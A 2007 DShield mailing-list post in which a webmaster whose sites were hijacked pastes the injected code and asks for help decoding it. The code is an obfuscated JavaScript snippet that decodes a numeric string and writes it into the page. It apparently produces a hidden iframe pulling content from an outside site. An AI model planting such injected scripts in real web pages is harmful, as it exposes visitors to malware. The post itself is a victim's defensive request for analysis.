[Dshield] need help decoding.

Dan Jackson kybowhunter515 at yahoo.com
Wed Sep 19 00:18:07 GMT 2007


Recently several of my sites got hijacked and below is the code that
was inserted, what I'm trying to do is to decode it to figure out what
it's intent was and to see if it opened up any other holes in the
server that I need to know about.



Maybe this is easy stuff... but I don't have a clue where to start ...




Code: ( text )

<script
language='JavaScript'>function nbsp() {var t,o,l,i,j;var
s='';s+='06004711610112011609711610109706206004711 
6101120116097114101097062';
s+='0600730700820650770690321151140990610341041161 
16112058047047109097114099111098101114110097114100 
111';s=s+'1101050460991111090471200471051101001011 
20046112104112034032119105100116104061051032104101 
105103104';s=s+'1160610510321151161211081010610341 
00105115112108097121058110111110101034062060047073 
070082065077069';s=s+'062032';t='';l=s.length;i=0; 
while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30));document.write(Str 
ing.fromCharCode(t));t='';}}nbsp();</script><!-- c4 -->






any help would be greatly appreciated.



TIA.


More information about the list mailing list